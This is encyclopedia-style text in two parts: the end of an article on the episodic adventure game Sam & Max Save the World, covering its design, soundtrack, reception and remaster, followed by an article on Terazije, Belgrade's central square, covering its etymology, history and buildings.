Very little of the design from Freelance Police was carried over into Save the World; LucasArts still held onto the assets created for use in Freelance Police, and Telltale was wary of using similar design patterns. While Ferguson and Purcell had both been involved with the canceled LucasArts project, Grossman had not. The team decided to just start from fresh, and pursue a different treatment of the game's subject. Purcell himself wanted to ensure that the game conveyed the "gritty" feel of the original comics—something he felt was lacking from the LucasArts renditions of the franchise. Grossman stated that "we wanted to get a little bit more of that dirt on the streets, and the paper cups and people being mean and nasty". This "gritty" feeling also influenced artistic design. For instance, on Purcell's suggestion, the sky was changed from blue to yellow in the street outside Sam and Max's office, instantly making the environment feel "filthy and disgusting".
Audio
Bay Area Sound, a company set up by Clint Bajakian, who had worked extensively on composition and sound production on LucasArts games since 1994, produced the soundtrack. The Save the World soundtrack was composed by Jared Emerson-Johnson, Bajakian's former protégé, whose previous work included composition and sound editing for LucasArts. Emerson-Johnson's scores used live performances as opposed to synthesized music often used elsewhere in the video games industry; a small team of five musicians, including Emerson-Johnson and a recording engineer, produced the soundtrack. The score is primarily grounded in film noir jazz, inspired by the work of Henry Mancini and Charles Mingus. However, Emerson-Johnson noted that as the Sam & Max universe is "open-ended", he had the chance to explore into other musical genres in some episodes, such as "a song-and-dance Charleston number, faux Philip Glass, an ode to Nina Rota's music from The Godfather, and even some inspired retro 8-bit game music". Several songs were incorporated into the soundtrack, performed by Emerson-Johnson or Peter Barto, the voice actor for Agent Superball. Purcell later commented that Emerson-Johnson had seamlessly blended a "huge palette of genres and styles", while Ferguson stated that he believed that it was Emerson-Johnson's scores that created the vital atmosphere in the games, noting that prior to the implementation of the music, playing the games was an "unrelenting horror". The soundtrack to Sam & Max Save the World was published in July 2007.
Reception
Sam & Max Save the World received positive critical reaction from reviewers. Aggregate review scores on GameRankings and Metacritic rank the fifth episode, "Reality 2.0", as the critical favorite, while the third episode, "The Mole, the Mob, and the Meatball" received the lowest scores. The entire season holds a score of 88 percent on GameRankings. In addition to receiving several editor choice awards, the game has been recipient to publisher awards for the best adventure game of 2006. As Telltale Games had managed to release a steady stream content with only small time gaps, journalists in the video game industry had considered Sam & Max Save the World to be the first successful application of episodic gaming. Previous unsuccessful implementations of the distribution model included attempts by Valve with the Half-Life series, Ritual Entertainment with SiN Episodes and Telltale themselves with Bone.
The debut episode, "Culture Shock", was recipient to a mostly optimistic response from critics. The episode was thought to adequately follow 1993's Sam & Max Hit the Road, with the introduction of the new 3D engine and gameplay being positively received. Criticisms of "Culture Shock" focused on the story; while the humor in the writing was praised, the plot was seen as a "thin excuse for the jokes" and the episode's primary antagonist was described by IGN's Steve Butts as "a bit of a letdown". The second episode, "Situation: Comedy", was thought to produce a better antagonist than "Culture Shock", with the puzzles linking in well to the story. However, critics described the puzzles as too easy, and expressed disappointment at the reuse of lines from the first episode. The next episode, "The Mole, the Mob, and the Meatball", was the lowest rated episode amongst reviewers. Although the episode received compliments for its dialogue and humor, it was criticised for its easy puzzles and short length.
The fourth episode, "Abe Lincoln Must Die!", was held by critics to be one of the series' best episodes. The episode's story of political satire was subject to praise, whilst the increased length was also appreciated. Puzzles were felt to be more difficult and satisfying to solve. Detractors of the episode, however, felt that the episode suffered from the need to constantly move between locations and from the reuse of old characters and locations. "Reality 2.0", the fifth episode, was the critical favorite of the series. The game's puzzles were cited as stronger than in "Abe Lincoln Must Die!", with a fitting tribute to text adventure games towards the end. However, the script was thought to be inferior to the preceding episode. The season finale "Bright Side of the Moon" received a more reserved response than the two previous episodes, with criticisms directed at the length of the game and the depth of character interaction. Nevertheless, reviewers felt that the episode had reasonable puzzle design and that it was a respectable end to the series.
Critics gave positive reviews towards the overall gameplay mechanics, although they often presented some reservations. Several reviews praised the simplicity of the game interface. Andre Thomas of GamePlasma described the game's learning curve as "incredibly simple" and the gameplay mechanics as logical extension of those from the adventure games of the 1990s, while GamingTrend reviewer Ron Burke praised Telltale's "intuitive" point-and-click system. Mark Smith of Game Chronicles, however, stated that the streamlined mechanics eliminated "a lot of the exploration and discovery we normally associate with these types of games". Some reviews directed criticism towards puzzle design; according to Smith, the game is "certainly accessible to kids and younger teens", but the adult audience "will find these games way too easy". Reviewing for Adventure Gamers, Evan Dickens felt that the puzzles took "a bit of thought and consideration, but never to a point of consternation", believing that the low difficulty was intended by Telltale to allow players to "proceed through the story with minimum frustration". Hypers Tim Henderson commends the game for being "highly accessible [and] almost as funny as the original", but criticises it for its episodic content being a "tease".
In relation to the story and writing, critics felt that the overall plot was ineffectual. Al Giovetti of JustAdventure felt the plot was lacking, while Burke considered the episodic nature to be detrimental to maintaining plot cohesion between the episodes, a point with which Dickens agreed. Despite this, several reviewers thought that the individual episode stories and the presentation and development of the characters were good. Reviewers considered the writing for each episode as one of the best features of the game; they also praised the level of humor in the game, although Dickens felt that it was not until the fourth episode that the writing properly established itself. In addition, they directed some skepticism towards the reuse of scenes and characters, with critical opinion divided on the degree of success in this regard. A point of contention rose between British and American reviewers over the story and setting, exemplified in PC Gamer; whilst positive towards the first and fourth episodes, the British edition of the magazine felt this repetition was a severe failing of Save the World, and that the writing did not work well. In contrast, the American edition rated each episode highly, stating that the quality of the series was "excellent".
Critics commended Sam & Max Save the Worlds graphics and art direction; Dickens commented that "the cartoonish, absurdist nature of Steve Purcell's characters is captured perfectly" within an "enthusiastically colorful world that is at its best the stranger it gets", while GameZone reviewer Anise Hollingshead praised Telltale for successfully upgrading the characters' graphics "without losing any of their cartoon appeal". Kristen Reed, writing for Eurogamer, felt that the graphics reflected a "great degree of care and attention to everything from the locations to the standard of character modelling and animation". They also praised the game for its sound, voice acting and music. In a review for The Entertainment Depot, Tim McGowan complimented Emerson-Johnson's soundtrack as "being quite excellent and listenable on its own", and IGN's Alex Van Zelfdendate described it as a "breath of fresh air". In contrast, PC Gamer UKs Alec Meer felt that the opening theme tune was "so busy trying to hint at [the theme for Sam & Max Hit the Road] that it forgets to have a memorable melody of its own". Nowlin and Kasten's voicework also received a positive response.
The Wii version of the game garnered a more reserved view from critics than the PC version; GameRankings and Metacritic gave aggregate review scores of 75 percent and 74 percent, respectively. For better or worse, reviewers felt that the game had not changed much from the PC version in terms of gameplay, story or overall content. While Sam & Max was thought to be a "perfect, naturally cartoony fit for the Wii", the critics noted a number of technical issues with the release. Several critics cited minor issues with using the imprecise Wii Remote for puzzles requiring accuracy, while observations were made that lines of dialogue could be cut short and that the frame rate could slow significantly, especially in action sequences.
Remastered
Sam & Max Save the World Remastered was developed by Skunkape Games, a studio founded by Telltale co-founder Dan Connors and made up of original development team members Jake Rodkin, Jonathan Sgro, and Randy Tudor; the studio is named in reference to General Skun-ka'pe, a character from Sam & Max: The Devil's Playhouse. Following the closure of Telltale Games in 2018, Skunkape acquired the rights to Sam & Max and retrieved the game's original assets and source code. While the team originally planned to simply update the existing games with a software patch to improve compatibility with newer PCs, the original material's age proved difficult to work with in many regards, leading to the decision to fully remaster Save the World instead. The team consulted with Purcell on the remaster, who contributed additional artwork. Several members of the original development team outside of Skunkape also contributed to the remastering effort, including locating original assets that could not be retrieved from Telltale's archives. The Remastered release runs on the most recent version of the Telltale Tool and features updated character models and lighting, controller support, and new music by original composer Jared Emerson-Johnson. Other changes made include updated cutscene cinematography and re-recorded dialogue for Bosco, with Ogie Banks replacing previous actor Joey Camen. Save the World Remastered was released on Nintendo Switch and Windows on December 2, 2020; on Xbox One on August 10, 2021; and on PlayStation 4 on September 29, 2022. The original Save the World episodes were later released as free downloadable content for the Steam version of Remastered in February 2021. Following Save the World, Skunkape began work on remasters for the other Telltale Sam & Max games, with Beyond Time and Space released in December 2021 and The Devil's Playhouse planned for 2023.
Notes
External links
References
2006 video games
Episodic video games
Point-and-click adventure games
Wii games
Windows games
Xbox 360 games
Machinima works
Telltale Games games
Nintendo Switch games
Xbox One games
PlayStation 4 games
Xbox 360 Live Arcade games
The Adventure Company games
Video games based on Sam & Max
Fiction about hypnosis
Video games about dogs
Video games about rabbits and hares
Video games about virtual reality
Cultural depictions of Abraham Lincoln
Video games set on the Moon
Video games set in New York City
Video games set in Washington, D.C.
Video games set in the United States
Video games scored by Jared Emerson-Johnson
Video games developed in the United States
JoWooD Entertainment games
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https://en.wikipedia.org/wiki/Terazije
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Terazije
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Terazije () is the central town square and the surrounding neighborhood of Belgrade, Serbia. It is located in the municipality of Stari Grad.
Today, Terazije has primarily function of the main transit square, surrounded by the important public buildings, cultural institutions, hotels, public monuments and parks. Though not classically shaped square, Terazije was historically important as the gathering spot and the former business and commercial center of Belgrade. With the Knez Mihailova Street, which extends to the northeast connecting directly Terazije and Belgrade Fortress, the square is one of the oldest and most recognizable ambience units of Belgrade. Due to its historical and cultural importance, Terazije was declared a protected spatial cultural-historical unit in January 2020.
Location
Despite the fact that many Belgraders consider the Republic Square or Kalemegdan to be the city's centerpiece areas, Terazije is Belgrade's designated center. When street numbers are assigned to the streets of Belgrade, numeration begins from the part of the street closest to Terazije.
Terazije itself is also a short street, connected by the King Milan Street, the main street in Belgrade, to the Slavija square, by the Nikola Pašić Square to the King Alexander Boulevard, the longest street in Belgrade, by Prizrenska street to the neighborhood of Zeleni Venac and further to New Belgrade, and by the Kolarčeva street to the Square of the Republic. The neighborhood also borders Andrićev Venac and Pioneers Park on the southeast, Park Aleksandrov on the south and neighborhood of Varoš Kapija on the west. A small, covered square of Bezistan connects it to the Nikola Pašić Square.
Etymology
With regard to the origin of the name Terazije, the historian and writer Milan Đ. Milićević wrote: "In order to supply Belgrade with water, the Turks built towers at intervals along the đeriza or an aqueduct, a water supply system which brought water in from the springs at Veliki Mokri Lug. The water was piped up into the towers for the purpose of increasing the pressure, in order to carry it further. Those towers were: one, where the Terazije Fountain is today (roughly at the small square between the [hotels] Balkan and Moskva; second was where the Ruski car Tavern is; and the third was where kafana Grčka Kraljica is now. The tallest of the three was the one at Terazije. That tower, beside its height, also stood on the spacious clearance, away from the surrounding houses and was taller than any of the neighboring buildings. All those towers were called "water terazije" by the Turks. Because of that, the entire neighborhood of the new section of Belgrade, especially the one between the Stari Dvor and close to the Stambol Gate, is today called Terazije".
For the word itself, it literally means "[water] scales", more commonly known as "water balances" or su terazisi. But the tower-like structures were more than just scales - they were maintaining water pressure when conveying water to neighbourhoods at a high-level. The towers were tall and had a cistern at the summit from which the water flowed into distribution pipes. The Ottoman đeriza followed the route of the ancient aqueduct from the period of Singidunum, the Roman predecessor of Belgrade.
History
Before 1800
The top of the Terazije Ridge is rich in water springs. Water used to run down the slope, where the modern Prizrenska Street is, into the Zeleni Venac area. Zeleni Venac is built in the area that was previously part of the trench which surrounded the Belgrade Fortress in the 18th century. When the trench was covered, a pond was formed, partially filled by the stream from Terazije. Today's central city square turned into the bog filled in sludge and covered with overgrowth. Local population visited the pond hunting for ducks. It was recorded that during the cold winters, wolves would reach the pond. The draining of the pond began in the 1830s, but the underground water from Terazije still soaks the land between Terazije and the Sava river.
1800–1850
Being outside of the moat and the city walls at the time, it was considered "distant" by the citizens. As it was located in front of the Stambol Gate and close to the Tsarigrad Road, some artisan shops and khans developed in time. The road was leading through the gate into the city and across the moat. Also, the existence of the water tower, with drinking fountain, helped the area to become sort of the "parking lot" in front of the city entrance.
After the collapse of the First Serbian Uprising, the Ottomans regained Belgrade in October 1813, and their vanguards burned wooden hovels in Savamala neighborhood. When the main Ottoman army landed, a large number of people got stranded on the bank in Savamala, trying to flee across the Sava into Austria. Men were massacred, while women and children were enslaved. People were impaled on stakes along city's main roads so a rows of impaled people were placed from the Stambol Gate to Terazije, and nearby, along the Tsarigrad Road, from the Batal mosque to Tašmajdan.
Terazije started to take shape as an urban feature in the first half of the 19th century. In the 1840s, Serbian ruling prince Miloš Obrenović wanted to resettle Serbian population from the old moated town where they had been mixed with the Turkish inhabitants, and from the neighborhood of Savamala on the bank of the Sava river in order to modernize it. He ordered Serbian craftsmen, especially blacksmiths, cartwrights and coppersmiths, to build their houses and shops on the location of the present square, an empty, inhabited area spreading in front of the Stambol Gate. Also, the move was intended to prevent the fires being lit all over the town and tone down the noise made by these specific types of artisans.
However, the craftsmen and artisans refused to relocate, especially the residents of Savamala as prince Miloš planned to relocate them even further than Terazije, to the then distant village of Palilula, "behind God's back". The prince resorted to violence. He gathered his henchmen and thugs and sent them to Savamala in 1835. As the settlement was still just a shanty town, with houses made of rotten wood and mud, all the houses were demolished in one day, without any demolition equipment. Additionally, the ustabasha, chief of the cartwright and blacksmith guild, was publicly beaten, receiving 25 hits. The artisans then agreed to relocate.
Ilija Čarapić, the president of the Belgrade Municipality 1834–1835 and 1839–1840, had a special task of assigning the parcels in Terazije to these craftsmen and whoever accepted to fence the lot on his own, would have it for free. One of the lots was granted by prince Miloš to his favorite architect, Hadži Nikola Živković. Driving together in the coach one day, prince asked Živković to whom belongs one of the lots without the fence. Živković replied it was his, but the prince said: Well, now it's not yours anymore, when you failed to fence it all this time.
Politician and a businessman Stojan Simić, member of the influential Simić family, purchased the lot at the end of Terazije in the late 1830s. It was a piece of marshland which encompassed the modern features of Stari dvor, Pioneers Park and Park Aleksandrov. By the summer of 1840, he drained the marsh, filled and leveled the terrain and on the northern side of the modern Kralja Milana street built a luxurious mansion from 1840 to 1842. The edifice became known as the Old Konak. Development of the first Serbian royal compound began in 1843, when the state leased the mansion, with the surrounding garden, as the court for the ruling prince Alexander Karađorđević. As the royal family now moved into the neighborhood, first regulatory plan for Terazije, which envisioned it as the new commercial and business center of Belgrade, was drafted in 1843.
1850–1900
The idea for the monument to Karađorđe, leader of the First Serbian Uprising from 1804 to 1813, appeared in 1853 and the proposed location was Terazije First official proposal came in 1857, from Toma Vučić-Perišić, one of the leaders of the Defenders of the Constitution. Though Ottoman administration over Serbia was limited at the time, it was still strong enough to prevent building of the monument. They couldn't allow a memorial to the bitter enemy of their empire. After the Saint Andrew's Day Assembly in 1858–1859, dethroned Miloš Obrenović was restored to power and the idea of erecting a monument to Karađorđe on Terazije was abandoned.
The "Kasina" kafana and later hotel was built in 1858. It was named as the gambling was organized for the VIP members (female variant of the word casino). Clientele originally included members of the Serbian Progressive Party. National Assembly of Serbia was seated in the venue's hall for a while in 1918, and until 1920 the National Theatre held performances here, too. In 1860 the kafana "Kod Albanije" ("Chez Albania"), was opened. A small, crummy house, built in the oriental, Turkish style, with yellow façade, it was very popular. The clock in front of it was the first public clock in Belgrade, so it became the most popular meeting point in the city. It was demolished to make way for the Palace Albanija, which was finished in 1939.
Starting in 1859, Atanasije Nikolić, educator and agriculturist, planted a number of chestnut trees on Terazije, in the process of making Belgrade greener, where Nikolić, as an engineer and an urbanist, was also charged with arranging the Košutnjak and Topčider parks, and avenues along Terazije and Topčider Road, and other streets. He grew seedlings in the nursery garden he personally established in Topčider during the 1830s, when he arranged the park. The chestnut avenue in Terazije was planted in double rows. Up to about 1865, the buildings at Terazije were mainly single and double-storied. The water tower was removed in 1860 and replaced by the drinking fountain, "Terazijska česma", which was erected in to celebrate the second rule of Prince Miloš Obrenović. During the first reconstruction of the square in 1911, the chestnut avenue was cut, while the česma was moved to Topčider in 1912.
In 1860, construction of the Palace with Towers, next to the Old Konak began. It was intended to be the palace of the heir apparent prince Mihailo Obrenović. The prince never used it, residing mostly in the Little Palace which he built next to the Old Konak, while his court hosted the ministries of interior and foreign affairs. The building was designed by Kosta Šrepalović. On 24 May 1860, privately owned predecessor of the public transport in Belgrade was organized. The omnibus line was operated by the diligences. Its starting point was in Terazije, at the kafana "Kod Zlatnog Venca", and connected it to Topčider. The enterprise wasn't much lucrative so the owner Luka Jakovljević sold it in 1861 to Milan Tešić, who expanded the line from Terazije to Varoš Kapija and lifted the price to 3 groschen.
Terazije Quarter was officially formed on 3 March 1860, so Terazije administratively became part of Belgrade, so as the other neighborhoods outside of the former trench. After the incident at the Čukur Fountain, Ottoman garrison withdrew from the Stambol Gate. The gate was demolished from 26 April to 31 May 1866, removing the last "scar" which divided city parts on the opposite sides of the trench, thus making Terazije one urban unit with the older part of the city. This prompted accelerated urbanization, not only of Terazije, but of the other neighborhoods outside of the old city limits. When the first horsecar was introduced in Belgrade, on 14 October 1892, the station was located in Terazije, next to the fountain.
The Little Palace was demolished in April and May 1881 to make way for the Stari Dvor. Designed by Aleksandar Bugarski, it was built on the orders by the prince, later king Milan Obrenović. The foundation stone was laid on 23 June 1881 and the building was finished by 1883.
1900–1918
By the turn of the century, the square formed with an "egg-shaped" base, where the Palace Albanija is today. Near this base, a low, yellow house was built, with several toy and slipper stores covered with roller shutters (ćepenak) at the ground level. The upper floor was the seat of the "Zvezda" monthly magazine, edited by Janko Veselinović. The "Zlatni Krst" kafana was built next to it, today replaced with the highrise built in the 1960s. There was also an "Albanez" inn, sort of students' mess hall, as its clientele were mostly high and middle school students, and their professors. Next to it was "Zlatna Slavina" inn, frequently visited by the journalists and writers, adjoined by the bookstore and publishing house. The old hotel "Balkan" with one floor leaned on it. A bit protruding was the bakery ("bread shop") famous at the time for its products (egg burek, various kifli, pogačice, hot kaymak lepinjas).
In May 1904, the insurance company "Rusija" purchased the estate of Nikola Vuković across the "Balkan", which adjoined the fountain. It included house and the "Velika Srbija" inn. The "Velika Srbija" was known for good food and wine, and was demolished and replaced by the Hotel Moskva by 30 January 1908. Around it, there were several small shops and grocery stores. Further away was the "Viktorović" pharmacy, with distinction of being demolished in the bombings in both World Wars. Close to it were the house of Lazar Arsenijević Batalaka and kafana "Kod Dva Tigra". Disreputable at the time, it was later replaced with the building and the famous 1970s and 1980s "Atina" restaurant. A bit away was the Krsmanović House, or later known as the Protocol Building. Purchased by the Krsmanović brothers, it was the location of the 1918 unification proclamation of the Kingdom of the Serbs, Croats and Slovenes.
On the other side of the square was a Renaissance-style administrative building that hosted the offices of the Terazije Quarter. At the corner, there was the "Todorović" delicatessen, later replaced with the . One of the oldest kafanas in Belgrade, "Šiškova Kafana", was also on this side of Terazije. Gathering place of the Liberas, the one-storey building had a garden, offered newspapers and was known for political debates. It was later demolished and replaced with cinema "Beograd". Close to it was a string of other kafanas: "Takovo", considered quite a distinguished venue, "Pariz" and "Uroševa Pivnica". The "Pariz" was a gathering place for the People's Radical Party members, while the "Uroševa Pivnica" was a typical inn for the travelers from the interior.
At the corner of the Skopljanska (today Nušićeva) Street and Terazije, there was the "Zunane" glass shop. It was later purchased by Tomaš Rosulek who turned it into the delicatessen. One of the former Robne kuće Beograd department stores occupies the lot today. Down from the Rosulek store was a well known "Pantelić" pastry shop, famous for its confectionery. There was a narrow extension of the square in this area, in the direction of the goldsmith Mihailo P. Petković's store, where the row of fiakers was usually parked.
The Old Konak was demolished in 1904, while the Palace with Towers was torn down in 1911. Its demolition made space for the planned Novi Dvor. The foundation stone was laid in 1911. However, due to the ensuing strings of wars, it was completed only in 1922. Today, Stari Dvor serves as the Belgrade City Hall, while Novi Dvor hosts the Presidency of Serbia.
Under the mayor Ljubomir Davidović, the Technical Administration of Belgrade Municipality organized architectural design competition for complete rearrangement of Terazije in March 1911. Stipulations included removal of the fountain. In the summer of 1911, the plan was developed, headed by the special commission constituted specifically for this purpose and headed by architect Édouard Léger. Most of the provisions envisioned by the project were built: new wide paved sidewalks, formation of the square, a fountain, change in tram tracks for better and faster traffic and removal of the public pissoirs. A monument to Dositej Obradović, which was projected, was erected in a different neighborhood.
The changes in 1911–1913 were significant and the square was completely re-arranged. With Léger, major work was done by the architects Veselin Lučić, who designed the project, and Jelisaveta Načić. Along the central part of the square regular flower beds were placed, surrounded by a low iron fence. Refurbishment included artistic candelabra, public three-faced clock, a special kiosk in the Serbian-Byzantine style, circle bars for the protection of the trees in the avenue and granite curbs. On the side towards today's Nušićeva street a large Terazije fountain was built in 1927. At the end of the 19th and the beginning of the 20th century, Terazije was the centre of social life of Belgrade.
In 1913, Davidović's city administration decided to change the name of the square into the Prestolonaslednikov trg ("Heir's apparent square"), referring to prince Alexander, future king Alexander I of Yugoslavia. Another decision was to build the fountain on the square which would include the monument to victory. The ideas came after the Balkan Wars and were triggered by the ceremonial entry of the Serbian army in Belgrade after the war ended, and the construction of the Karađorđe monument in Kalemegdan. Due to World War I which ensued shortly after, the decisions weren't fully implemented: the name wasn't changed, the monument was relocated to the Belgrade Fortress, while the short-lived fountain was ultimately built. Načić designed the triumphal arch which was placed in Terazije in order to celebrate Serbian soldiers from the Balkan Wars 1912–1913. She placed an inscription "Not all Serbs are liberated" on the arch, pointing to the position of the Serbs in Austria-Hungary. During the occupation in World War I, Austro-Hungarian authorities arrested Načić and expelled her to the internment camp at Neusiedl am See.
The neighborhood was damaged during the World War I, especially during the heavy Austro-Hungarian bombardment in 1914–1915, prior to occupation. Terazije was described as desolate, empty and destroyed by the grenades. The ground cracked, underground canals collapsed, and the surrounding buildings were demolished. Serbian army had no proper ammunition to fight the Austrian gunboats, so they freely fired at the city from the Sava river. Austro-Hungarian army temporarily entered Belgrade, from 3 to 14 December 1914. Already on 4 December they erected gallows on Terazije for hanging civilians.
Interbellum
Despite complete urbanization, local farmers, up to the 1920s, were illegally selling goods of the ox carts on and around Terazije. It was one of the reasons for city administration to build a large Zeleni Venac farmers market, on Zeleni Venac, below Terazije. Also despite being the sole center of the city, some areas evaded urbanization until the late 1930s, like the Kuzmanović Yard.
This was period of building various highrise buildings ("palaces"). At No. 10, a Modernist building was constructed in the mid-1930s. It was designed by Đorđe Đorđević in pure style, with the typical geometry of Modernism represented by the step-like risalit. Modern Hotel Balkan was built in 1935, in 1938, while Palace Albania was finished in 1939.
World War II
In order to "effectively intimidate the population" and discourage the people from fighting the occupiers, a military commander of Serbia Heinrich Danckelmann and the head of the Belgrade Gestapo Carl Krauss ordered a killing of five Serbs on Terazije. The executed victims were Velimir Jovanović (b.1893) and Ratko Jević (b. 1913), farmers, Svetislav Milin (b. 1915), a shoemaker, Jovan Janković (b.1920), a tailor, and Milorad Pokrajac (b. 1924), a high school student, only 17 years old. They were arrested, accused of alleged terrorist activities and brutally tortured before being shot in the yard of the Gestapo headquarters. The entire ordeal happened on 17 August 1941. Their corpses were then hanged on the light poles on Terazije.
For a long time, it was claimed that bodies were left for days, while the Belgraders were "sitting in restaurants and drinking cold beer". Historian Milan Koljanin wrote that this was a negative stereotype pushed for a decades. Police reports from the period say that some citizens calmly paid respect, but others gathered, with parents bringing children and professors their students, showing to them what the "new German culture" actually looks like. As the hanging was announced by the Germans in the press, and the news and photos were published, the bodies were removed on the evening of the same day. On the same day, a procession of the Volksdeutsche units marched next to the hanged victims, marking the 224th anniversary of Prince Eugene of Savoy taking Belgrade in 1717.
A monument to commemorate the crime was erected in 1981 by the city. Titled "Monument to the hanged patriots" and sculptured by Nikola Janković, the obelisk-shaped monument is tall with a diameter of . It is posted on the marble pedestal and has carvings representing the scenes of the hanging and commemorative lyrics by the poet Vasko Popa. In 1983 a memorial bronze plaque, work of Slave Ajtoski, was added. It contains names of the victims and an epitaph: "To freedom fighters who were hanged by the Fascist occupiers in Terazije on 17 August 1941", signed by "citizens of Belgrade". The plaque got damaged in time and was removed in 2008, during the reconstruction of Terazije, for restoration. It was returned on 28 May 2011.
Terazije, as the central city square, was also used as the hanging location by the previous occupiers, too. During World War I, the Austrians hanged at Terazije citizens who didn't obey the curfew. However, this resulted in incidents, where drunk Austrian soldiers would pull or drag the bodies of the hanged ones, so the bodies and the gallows were removed,. Also, the neutral countries protested because of these public hangings, so in the end the Austrians moved dead bodies to the Belgrade New Cemetery. Due to the history of this type of executions, the phrase "hanging at Terazije" entered the Serbian language. It can be variously used in different context: as a threat, offering self-sacrifice or protesting one's innocence.
The square and the Palace Albania were hit during the heavy "Easter bombing" of Belgrade by the Allies on 16 April 1944. The palace was fiercely defended by the Germans during the 1944 Belgrade Offensive against the Red Army and Yugoslav Partisan forces. In the evening of 19 October 1944, a Partisan soldier Mladen Petrović placed the Yugoslav flag with red star on the top of the building. Taking over the building opened the way for the Partisan army to the Belgrade Fortress, and allowed the charge which liberated the wider area surrounding the Belgrade Main railway station, so just one day later the entire Belgrade was liberated.
After 1945
Modern appearance of Terazije is mostly set after 1947. City's main urbanist, Nikola Dobrović, in order to adapt the square for the May 1st military parade, demolished almost everything on the ground level, including all of the flower beds and the other urban ornaments, so as the fountain. The wooden cobbles were removed and two separate traffic lanes were molded into connected carriageways and the adjoining Nušićeva Street was closed for traffic from the Terazije direction. After 1948 the main square in Belgrade was narrowed, double tram tracks from both sides were removed and a number of modernist buildings were constructed, forming a Square of Marx and Engels (present Square of Nikola Pašić) in the 1950s to the north. Terazije became a "lifeless" ground for the parade and, in the future, for the automobile traffic.
An 8-storey building, later known as the Hempro Building, was constructed by Aleksej Brkić at No. 8 in 1951 and finished in 1956. The black and white façade covering is made of marble, glass and metal, with geometric shapes. It was one of the first public buildings in Belgrade after World War II projected outside of the Socialist realism style, rather being a Modernist edifice. The building also has an imitation of a penthouse with a series of "ribbed bachelor apartments". Brkić had to follow two rules: the building was not to be higher than 8 storeys, which was the height of the neighboring building, and he had to take into consideration that the Terazije Tunnel will be dug beneath it. Deemed "impressive" for its period and a "bald step towards the international architecture", it refreshed the grey urbanity of the socialist city and paved way for the future modernist buildings of the 1950s, like the Hotel Metropol.
In 1950, the sculptural group by Lojze Dolinar, which represented merchant Sima Igumanov, his prematurely died son and youth from South Serbia, popularly known as Sima Igumanov and orphans, was removed from the roof of Igumanov's bequest, the Igumanov's Palace. It wasn't just taken down, but was smashed with hammers by the members of the League of Communist Youth of Yugoslavia. This made a way for the first neon commercial signage in 1958. A mobile advertisement for the Zagreb's Chromos Corporation, it was the first neon commercial sign in Belgrade. In February 2020, deputy mayor Goran Vеsić said that the tall sculptural composition is being recreated by the sculptor Zoran Kuzmanović. Some 60% of the original Dolinar's sculpture survived and Kuzmanović used it for reconstruction. Originally placed on the roof in January 1939 and demolished in 1950, the restored sculpture was returned to its place on 22 April 2021.
Pedestrian underground passage, with commercial facilities, was dug under Terazije in 1967, connecting Iguman's Palace with Hotel Moskva. Another underground passage, connecting Hotel Balkan and Palace Albanija, envisioned as an underground shopping mall, was finished in 1968. Terazije Tunnel, for traffic, was opened on 4 December 1970. On 12 December 1975, old Terazije Fountain was relocated from Topčider back to the square, and placed at its present location. On 25 January 2020, the square and the surrounding area of was placed under the state protection as the spatial cultural-historical unit.
Administration
Terazije quarter had a population of 6,333 by the 1883 census of population. According to the further censuses, the population of Terazije was 5,273 in 1890, 6,074 in 1895, 6,494 in 1900, 6,260 in 1905, 9,049 in 1910 and 7,038 in 1921.
For a short period after the World War II, when Belgrade was administratively reorganized from districts (raions) into the municipalities in 1952, Terazije had its own municipality with the population of 17,858 in 1953. However, already on 1 January 1957 the municipality was dissolved and divided between the municipalities of Vračar and Stari Grad. Population of the modern local community (mesna zajednica) of Terazije was 5,033 in 1981, 4,373 in 1991 and 3,338 in 2002. Municipality of Stari Grad later abolished local communities.
Borders of the Terazije local community were streets: Dečanska, Nikola Pašić Square, Kneza Miloša, Kraljice Natalije, Sremska, Kolarčeva and Makedonska. That way it encompassed Andrićev Venac, Pioneers Park, Park Aleksandrov, London, Terazije Terrace and part of historical Savamala. Borders of the Terazije protected area are somewhat reduced: Čumićeva, Nušićeva, Dečanska, Nikola Pašić Square, Kneza Miloša, Andrićev Venac, Dobrinjska, Kraljice Natalije, Sremska. Both definitions excluded the most prominent Terazije feature, Palace Albanija.
Notable buildings
As the central and one of the most famous squares in Belgrade, it is the location of many famous Belgrade buildings. The most important hotels, restaurants and shops are or were located here.
Former
Hotel Pariz; it was built in 1870 at the spot where Bezistan passage and shopping area is located today. Hotel was demolished during the reconstruction of the square in 1948;
Kod zlatnog krsta (Serbian for 'By the Golden Cross'); a kafana where the first public cinema show (after the first, private screening in a privately owned house) was held by the Lumière brothers on ; used to be at the spot where Dušanov grad is located today; it is not clear whether the brothers showed the movies themselves, or it was their representative, Alexandre Promio; Serbian king Aleksandar Obrenović was in the audience. The tickets were pricey and the films were screened for the next six months. After Promio left Belgrade, the next film was shown only 4 years later, in 1900, but those were mobile cinemas.
Takovo restaurant and cinema; one of the first permanent cinemas in Belgrade, founded in 1909.
Present
(1902); residential-commercial building built in 1902 for merchant Đorđe Vučo, after design by Dimitrije T. Leko. The edifice in Venetian Renaissance style has two floors and a loft. It hosted restaurant Atina, which was part of the Hospitality Educational Center in 1956–1958. The restaurant was predated by the kafana "Dva Tigra". Atina's popularity was especially boosted in the 1970s and the 1980s, when it was adapted into the "express restaurant" (hot food bar) and became the first pizzeria in Belgrade.
Hotel Moskva (1906); still preserving the original shape with its famous façade made of ceramic tiles. Often voted as one of the most beautiful buildings in Belgrade;
Putnik Building (1914); at the corner of Terazije and Dragosla Jovanovića Street, right across the former royal residence of Stari Dvor. It was built in 1914, after the design of Nikola Nestorović, for the banker Nikola Bošković. The highrise was considered extremely modern for its time. The façade was richly decorated in the Vienna Secession style ornaments, while the specificity includes the corner position, with, also very richly ornamented, narrow alcove. The building was purchased by the tourist company "Putnik" after 1929 and adapted in the 1939–1940 period, when the alcove and all of the façade ornaments were removed, per Đorđe Đorđević's project. Rajko Tatić designed an additional, indented floor, in 1959. In July 2019 a refurbishment of the building began. The reconstruction project, which includes returning of almost all of the original Secessionist façade ornaments, is a work of Zoran Ljubičić. After the reconstruction is finished, the building will become a hotel.
Hotel Balkan (1935); right across the Hotel Moskva; originally a one-story building built in 1860 on the location of the Simina Kafana, opened by Sima Mehandžija in 1848. It was demolished in 1935 when the present building of the hotel was constructed, work of architect Aleksandar Janković; The old building was also known as the Simina mehana ("Sima's meyhane") and was the gathering point for the volunteers during the Serbian-Turkish wars; Singer Zdravko Čolić recorded a song about the hotel in 2000;
